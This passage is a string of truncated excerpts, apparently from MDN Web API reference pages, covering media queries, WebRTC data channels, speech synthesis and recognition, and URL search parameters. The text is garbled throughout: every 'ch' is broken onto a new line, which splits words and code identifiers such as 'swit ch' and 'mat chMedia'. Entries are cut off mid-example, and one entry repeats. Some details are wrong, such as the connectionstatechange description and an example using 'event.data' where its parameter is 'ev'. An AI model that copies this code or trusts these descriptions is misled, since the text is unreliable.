change' in that specification.
MediaQueryList.matches - Web APIs
the mat
ches read-only property of the mediaquerylist interface is a boolean that returns true if the document currently mat
ches the media query list, or false if not.
... you can be notified when the value of mat
ches
changes by wat
ching for the
change event to be fired at the mediaquerylist.
... syntax var mat
ches = <varm>mediaquerylist.mat
ches; value a boolean whi
ch is true if the document currently mat
ches the media query list; otherwise, it's false.
... examples this example detects viewport orientation
changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("
change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.mat
chmedia("(orientation:landscape)"), event => { if (event.mat
ches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'mat
ches' in that specification.
MediaQueryList.onchange - Web APIs
the on
change property of the mediaquerylist interface is an event handler property representing a function that is invoked when the
change event fires, i.e when the status of media query support
changes.
... the event object is a mediaquerylistevent instance, whi
ch is recognised as a medialistquery instance in older browsers, for backwards compatibility purposes.
... syntax mediaquerylist.on
change = function() { ...
... }; example var mql = window.mat
chmedia('(max-width: 600px)'); mql.addeventlistener( "
change", (e) => { if (e.mat
ches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'on
change' in that specification.
MerchantValidationEvent.methodName - Web APIs
the mer
chantvalidationevent property methodname is a read-only value whi
ch returns a string indicating the payment method identifier whi
ch represents the payment handler that requires mer
chant validation.
... syntax methodid = mer
chantvalidationevent.methodname; value a read-only domstring whi
ch uniquely identifies the payment handler whi
ch is requesting mer
chant validation.
... see mer
chant validation in payment processing concepts for more information on the process.
... specifications specification status comment payment request apithe definition of 'mer
chantvalidationevent.methodname' in that specification.
MerchantValidationEvent.validationURL - Web APIs
the mer
chantvalidationevent property validationurl is a read-only string value providing the url from whi
ch to fet
ch the payment handler-specific data needed to validate the mer
chant.
... syntax validationurl = mer
chantvalidationevent.validationurl; value a read-only usvstring giving the url from whi
ch to load payment handler specific data needed to complete the mer
chant verification process.
... see mer
chant validation in payment processing concepts for more information on the mer
chant validation process.
... specifications specification status comment payment request apithe definition of 'mer
chantvalidationevent.validationurl' in that specification.
NetworkInformation.onchange - Web APIs
the networkinformation.on
change event handler contains the code that is fired when connection information
changes, and the
change is received by the networkinformation object.
... syntax netinfo.on
change = function() { ...
...var type = navigator.connection.type; function
changehandler(e) { // handle
change of connection type here.
... } // register for event
changes: navigator.connection.on
change =
changehandler; // another way: navigator.connection.addeventlistener('
change',
changehandler); specifications specification status comment network information apithe definition of 'on
change' in that specification.
NodeIterator.detach() - Web APIs
the nodeiterator.deta
ch() method is a no-op, kept for backward compatibility only.
... originally, it deta
ched the nodeiterator from the set over whi
ch it iterates, releasing any resources used by the set and setting the iterator's state to invalid.
... syntax nodeiterator.deta
ch(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.deta
ch(); // deta
ches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.deta
ch' in that specification.
... living standard transformed in a no-op document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.deta
ch' in that specification.
PermissionStatus.onchange - Web APIs
the on
change event handler of the permissionstatus interface is called whenever the permissionstatus.state property
changes.
... syntax permissionstatus.on
change = function() { ...
... } permissionstatus.addeventlistener('
change', function() { ...
... }) example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.on
change = function() { console.log('geolocation permission state has
changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'on
change' in that specification.
RTCDTMFSender.ontonechange - Web APIs
the ontone
change property of the rtcdtmfsender interface is used to set the event handler for the tone
change event, whi
ch is sent to the rtcdtmfsender ea
ch time a tone begins or ends.
... the event handler receives as input a single parameter of type rtcdtmftone
changeevent, whi
ch describes the
change.
... syntax rtcdtmfsender.ontone
change = tone
changehandlerfunction; value a function whi
ch is called when a tone
change event is sent to the rtcdtmfsender, indicating that a dtmf tone has either started playing, or if all tones have finished playing.
... example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontone
change' in that specification.
RTCDTMFSender: tonechange event - Web APIs
the tone
change event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
... bubbles no cancelable no interface rtcdtmftone
changeevent event handler property ontone
change to determine what tone started playing, or if a tone stopped playing,
check the value of the event's tone property.
... examples this example establishes a handler for the tone
change event whi
ch updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... this can be done using addeventlistener(): dtmfsender.addeventlistener("tone
change", ev => { let tone = ev.tone; if (tone === "") { tone = "<none>"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontone
change event handler property directly: dtmfsender.ontone
change = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tone
change' in that specification.
RTCDataChannel.maxPacketLifeTime - Web APIs
the read-only rtcdata
channel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data
channel was created, or null.
... syntax var lifetime = adata
channel.maxpacketlifetime; value the number of milliseconds over whi
ch the browser may continue to attempt to transmit the message until it either succeeds or gives up.
... if not set when rtcpeerconnection.createdata
channel() was called to create the data
channel, this value is null.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdata
channel.maxpacketlifetime' in that specification.
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdata
channel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data
channel was created, or null, whi
ch indicates that there is no maximum.
... this can only be set when the rtcdata
channel is created by calling rtcpeerconnection.createdata
channel(), using the maxretransmits field in the specified options.
... syntax var tries = adata
channel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdata
channel() was called.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdata
channel.maxretransmits' in that specification.
RTCDataChannel: message event - Web APIs
the webrtc message event is sent to the onmessage event handler on an rtcdata
channel object when a message has been received from the remote peer.
... examples for a given rtcdata
channel, dc, created for a peer connection using its createdata
channel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
... dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.append
child(textnode); document.body.append
child(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... you can also use an rtcdata
channel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.append
child(textnode); document.body.append
child(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDataChannel.ordered - Web APIs
the read-only rtcdata
channel property ordered indicates whether or not the data
channel guarantees in-order delivery of messages; the default is true, whi
ch indicates that the data
channel is indeed ordered.
... this is set when the rtcdata
channel is created, by setting the ordered property on the rtcdata
channelinit object passed as rtcpeerconnection.createdata
channel()'s options parameter.
... syntax var ordered = adata
channel.ordered; a boolean value whi
ch is true if in-order delivery is guaranteed and is otherwise false.
... example var pc = new rtcpeerconnection(); var dc = pc.createdata
channel("my
channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdata
channel.ordered' in that specification.
RTCPeerConnection: connectionstatechange event - Web APIs
the connectionstate
change event is sent to the ontrack event handler on an rtcpeerconnection object after a new track has been added to an rtcrtpreceiver whi
ch is part of the connection.
... bubbles no cancelable no interface event event handler onconnectionstate
change examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstate
change messages to handle
changes to the connectivity of the webrtc session.
... pc.onconnectionstate
change = ev => { swit
ch(pc.connectionstate) { case "new": case "
checking": setonlinestatus("connecting..."); break; case "connected": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unknown"); break; } } you can also create a handler for connectionstate
change by using addeventlistener(): pc.addeventlistener("connectionstate
change", ev => { swit
ch(pc.connectionstate) { /* ...
... */ } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'connectionstate
change' in that specification.
Range.detach() - Web APIs
the range.deta
ch() method does nothing.
... syntax range.deta
ch(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.deta
ch(); specifications specification status comment domthe definition of 'range.deta
ch()' in that specification.
... living standard no
change.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.deta
ch()' in that specification.
Selection.anchorNode - Web APIs
the selection.an
chornode read-only property returns the node in whi
ch the selection begins.
...the an
chor is where the user began the selection.
...the selection's an
chor does not move, but the selection's focus, the other end of the selection, does move.
... syntax node = sel.an
chornode specifications specification status comment selection apithe definition of 'selection.an
chornode' in that specification.
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
the serviceworkerglobalscope.onpushsubscription
change event of the serviceworkerglobalscope interface is fired to indicate a
change in push subscription that was triggered outside the application's control, e.g.
... syntax serviceworkerglobalscope.onpushsubscription
change = function() { ...
... } self.addeventlistener('pushsubscription
change', function() { ...
... }) example self.addeventlistener('pushsubscription
change', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fet
ch }); specifications specification status comment push apithe definition of 'onpushsubscription
change' in that specification.
SpeechGrammar.src - Web APIs
the src property of the spee
chgrammar interface sets and returns a string containing the grammar from within in the spee
chgrammar object.
... syntax var mygrammar = spee
chgrammarinstance.src; value a domstring representing the grammar.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; console.log(spee
chrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(spee
chrecogn...
... specifications specification status comment web spee
ch apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
the optional weight property of the spee
chgrammar interface sets and returns the weight of the spee
chgrammar object.
... syntax var mygrammarweight = spee
chgrammarinstance.weight; value a float representing the weight of the grammar, in the range 0.0–1.0.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; console.log(spee
chrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(spee
chrecogn...
... specifications specification status comment web spee
ch apithe definition of 'weight' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the spee
chgrammarlist interface is a standard getter — it allows individual spee
chgrammar objects to be retrieved from the spee
chgrammarlist using array syntax.
... syntax var myfirstgrammar = spee
chgrammarlistinstance[0]; returns a spee
chgrammar object.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; var myfirstgrammar = spee
chrecognitionlist[0]; // var should contain the spee
chgrammar object created in line 4.
... specifications specification status comment web spee
ch apithe definition of 'item()' in that specification.
SpeechGrammarList.length - Web APIs
the length read-only property of the spee
chgrammarlist interface returns the number of spee
chgrammar objects contained in the spee
chgrammarlist.
... syntax var mylistlength = spee
chgrammarlistinstance.length; value a number indicating the number of spee
chgrammar objects contained in the spee
chgrammarlist.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; spee
chrecognitionlist.length; // should return 1.
... specifications specification status comment web spee
ch apithe definition of 'length' in that specification.
SpeechRecognition.abort() - Web APIs
the abort() method of the web spee
ch api stops the spee
ch recognition service from listening to incoming audio, and doesn't attempt to return a spee
chrecognitionresult.
... syntax myspee
chrecognition.abort(); returns void.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick...
... = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('spee
ch recognition aborted.'); } recognition.onspee
chend = function() { recognition.stop(); console.log('spee
ch recognition has stopped.'); } specifications specification status comment web spee
ch apithe definition of 'abort()' in that specification.
SpeechRecognition.serviceURI - Web APIs
the serviceuri property of the spee
chrecognition interface specifies the location of the spee
ch recognition service used by the current spee
chrecognition to handle the actual recognition.
... the default is the user agent's default spee
ch service.
... syntax var myserviceuri = myspee
chrecognition.serviceuri; myspee
chrecognition.serviceuri = 'path/to/my/service/'; value a domstring representing the uri of the spee
ch recognition service.
... examples var recognition = new spee
chrecognition(); recognition.serviceuri = 'http://www.example.com'; ...
SpeechRecognition.start() - Web APIs
the start() method of the web spee
ch api starts the spee
ch recognition service listening to incoming audio with intent to recognize grammars associated with the current spee
chrecognition.
... syntax myspee
chrecognition.start(); parameters none.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.oncli...
...ck = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('spee
ch recognition aborted.'); } recognition.onspee
chend = function() { recognition.stop(); console.log('spee
ch recognition has stopped.'); } specifications specification status comment web spee
ch apithe definition of 'start()' in that specification.
SpeechRecognition.stop() - Web APIs
the stop() method of the web spee
ch api stops the spee
ch recognition service from listening to incoming audio, and attempts to return a spee
chrecognitionresult using the audio captured so far.
... syntax myspee
chrecognition.stop(); returns void.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown |
chocolate | coral | crimson | cyan | fu
chsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | or
chid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new spee
chrecognition(); var spee
chrecognitionlist = new spee
chgrammarlist(); spee
chrecognitionlist.addfromstring(grammar, 1); recognition.grammars = spee
chrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick...
... = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('spee
ch recognition aborted.'); } recognition.onspee
chend = function() { recognition.stop(); console.log('spee
ch recognition has stopped.'); } specifications specification status comment web spee
ch apithe definition of 'stop()' in that specification.
SpeechSynthesis.cancel() - Web APIs
the cancel() method of the spee
chsynthesis interface removes all utterances from the utterance queue.
... syntax spee
chsynthesisinstance.cancel(); returns void.
... examples var synth = window.spee
chsynthesis; var utterance1 = new spee
chsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new spee
chsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web spee
ch apithe definition of 'cancel()' in that specification.
SpeechSynthesis.pause() - Web APIs
the pause() method of the spee
chsynthesis interface puts the spee
chsynthesis object into a paused state.
... syntax spee
chsynthesisinstance.pause(); returns void.
... examples var synth = window.spee
chsynthesis; var utterance1 = new spee
chsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new spee
chsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web spee
ch apithe definition of 'pause()' in that specification.
SpeechSynthesis.paused - Web APIs
the paused read-only property of the spee
chsynthesis interface is a boolean that returns true if the spee
chsynthesis object is in a paused state, or false if not.
...if utterances are then added to the utterance queue, they will not be spoken until the spee
chsynthesis object is unpaused, using spee
chsynthesis.resume().
... syntax var amipaused = spee
chsynthesisinstance.paused; value a boolean.
... examples var synth = window.spee
chsynthesis; synth.pause(); var amipaused = synth.paused; // will return true specifications specification status comment web spee
ch apithe definition of 'paused' in that specification.
SpeechSynthesis.pending - Web APIs
the pending read-only property of the spee
chsynthesis interface is a boolean that returns true if the utterance queue contains as-yet-unspoken utterances.
... syntax var amipending = spee
chsynthesisinstance.pending; value a boolean.
... examples var synth = window.spee
chsynthesis; var utterance1 = new spee
chsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new spee
chsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web spee
ch apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
the resume() method of the spee
chsynthesis interface puts the spee
chsynthesis object into a non-paused state: resumes it if it was already paused.
... syntax spee
chsynthesisinstance.resume(); returns void.
... examples var synth = window.spee
chsynthesis; var utterance1 = new spee
chsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new spee
chsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web spee
ch apithe definition of 'resume()' in that specification.
SpeechSynthesis.speaking - Web APIs
the speaking read-only property of the spee
chsynthesis interface is a boolean that returns true if an utterance is currently in the process of being spoken — even if spee
chsynthesis is in a paused state.
... syntax var amispeaking = spee
chsynthesisinstance.speaking; value a boolean.
... examples var synth = window.spee
chsynthesis; var utterance1 = new spee
chsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new spee
chsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web spee
ch apithe definition of 'speaking' in that specification.
SpeechSynthesisUtterance.lang - Web APIs
the lang property of the spee
chsynthesisutterance interface gets and sets the language of the utterance.
... syntax var mylang = spee
chsynthesisutteranceinstance.lang; spee
chsynthesisutteranceinstance.lang = 'en-us'; value a domstring representing a bcp 47 language tag.
... examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance.onpause - Web APIs
the onpause property of the spee
chsynthesisutterance interface represents an event handler that will run when the utterance is paused part way through (when the pause event fires.) this occurs when the spee
chsynthesis.pause() method is invoked.
... syntax spee
chsynthesisutteranceinstance.onpause = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('spee
ch paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onpause' in that specification.
SpeechSynthesisUtterance.onresume - Web APIs
the onresume property of the spee
chsynthesisutterance interface represents an event handler that will run when a paused utterance is resumed (when the resume event fires.) this occurs when the spee
chsynthesis.resume() method is invoked on a paused spee
ch synthesis instance.
... syntax spee
chsynthesisutteranceinstance.onresume = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('spee
ch resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onresume' in that specification.
SpeechSynthesisUtterance.onstart - Web APIs
the onstart property of the spee
chsynthesisutterance interface represents an event handler that will run when the utterance has begun to be spoken (when the start event fires.) this occurs when the spee
chsynthesis.speak() method is invoked.
... syntax spee
chsynthesisutteranceinstance.onstart = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this spee
ch: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onstart' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
the volume property of the spee
chsynthesisutterance interface gets and sets the volume that the utterance will be spoken at.
... syntax var myvolume = spee
chsynthesisutteranceinstance.volume; spee
chsynthesisutteranceinstance.volume = 0.5; value a float that represents the volume value, between 0 (lowest) and 1 (highest.) if ssml is used, this value will be overridden by prosody tags in the markup.
... examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'volume' in that specification.
SpeechSynthesisVoice.default - Web APIs
the default read-only property of the spee
chsynthesisvoice interface returns a boolean indicating whether the voice is the default voice for the current app (true), or not (false.) note: for some devices, it might be the default voice for the voice's language.
... the spec is not very clear on whi
ch it should be, so some implementations may differ.
... syntax var amidefault = spee
chsynthesisvoiceinstance.default; value a boolean.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } specifications specification status comment web spee
ch apithe definition of 'default' in that specification.
StylePropertyMapReadOnly.forEach() - Web APIs
the stylepropertymapreadonly.forea
ch() method executes a provided function once for ea
ch element of stylepropertymapreadonly.
... syntax stylepropertymapreadonly.forea
ch(function callback(currentvalue[, index[, array]]) { //your code }[, thisarg]); parameters callback the function to execute for ea
ch element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the stylepropertymapreadonly thatforea
ch() is being called on.
... example // tbd specifications specification status comment css typed om level 1the definition of 'forea
ch()' in that specification.
SyncEvent.lastChance - Web APIs
the syncevent.last
chance read-only property of the syncevent interface returns true if the user agent will not make further syn
chronization attempts after the current attempt.
... this is the value passed in the last
chance parameter of the syncevent() constructor.
... syntax var last
chance = syncevent.last
chance value a boolean that indicates whether the user agent will not make further syn
chronization attempts after the current attempt.
... specifications specification web background syn
chronization ...
URL.search - Web APIs
the sear
ch property of the url interface is a sear
ch string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide the url.sear
chparams property to make it easy to parse out the parameters from the query string.
... syntax const sear
chparams = object.sear
ch url.sear
ch = newsear
chparams value a usvstring.
... examples const url = new url('/docs/web/api/url/sear
ch?q=123'); console.log(url.sear
ch); // logs "?q=123" specifications specification status comment urlthe definition of 'url.sear
ch' in that specification.
URL.search - Web APIs
the sear
ch property of the url interface is a sear
ch string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide the url.sear
chparams property to make it easy to parse out the parameters from the query string.
... syntax const sear
chparams = object.sear
ch url.sear
ch = newsear
chparams value a usvstring.
... examples const url = new url('/docs/web/api/url/sear
ch?q=123'); console.log(url.sear
ch); // logs "?q=123" specifications specification status comment urlthe definition of 'url.sear
ch' in that specification.
URL.searchParams - Web APIs
the sear
chparams readonly property of the url interface returns a urlsear
chparams object allowing access to the get decoded query arguments contained in the url.
... syntax const urlsear
chparams = url.sear
chparams value a urlsear
chparams object.
... examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).sear
chparams; let name = params.get('name'); // is the string "jonathan smith".
... let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'sear
chparams' in that specification.
URLSearchParams.append() - Web APIs
the append() method of the urlsear
chparams interface appends a specified key/value pair as a new sear
ch parameter.
... as shown in the example below, if the same key is appended multiple times it will appear in the parameter string multiple times for ea
ch value.
... syntax urlsear
chparams.append(name, value) parameters name the name of the parameter to append.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsear
chparams(url.sear
ch.slice(1)); //add a second foo parameter.
URLSearchParams.entries() - Web APIs
the entries() method of the urlsear
chparams interface returns an iterator allowing iteration through all key/value pairs contained in this object.
... the key and value of ea
ch pair are usvstring objects.
... syntax sear
chparams.entries(); parameters none.
... examples // create a test urlsear
chparams object var sear
chparams = new urlsear
chparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of sear
chparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
the get() method of the urlsear
chparams interface returns the first value associated to the given sear
ch parameter.
... syntax urlsear
chparams.get(name) parameters name the name of the parameter to return.
... return value a usvstring if the given sear
ch parameter is found; otherwise, null.
... examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsear
chparams(document.location.sear
ch.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
USBDevice.isochronousTransferOut() - Web APIs
the iso
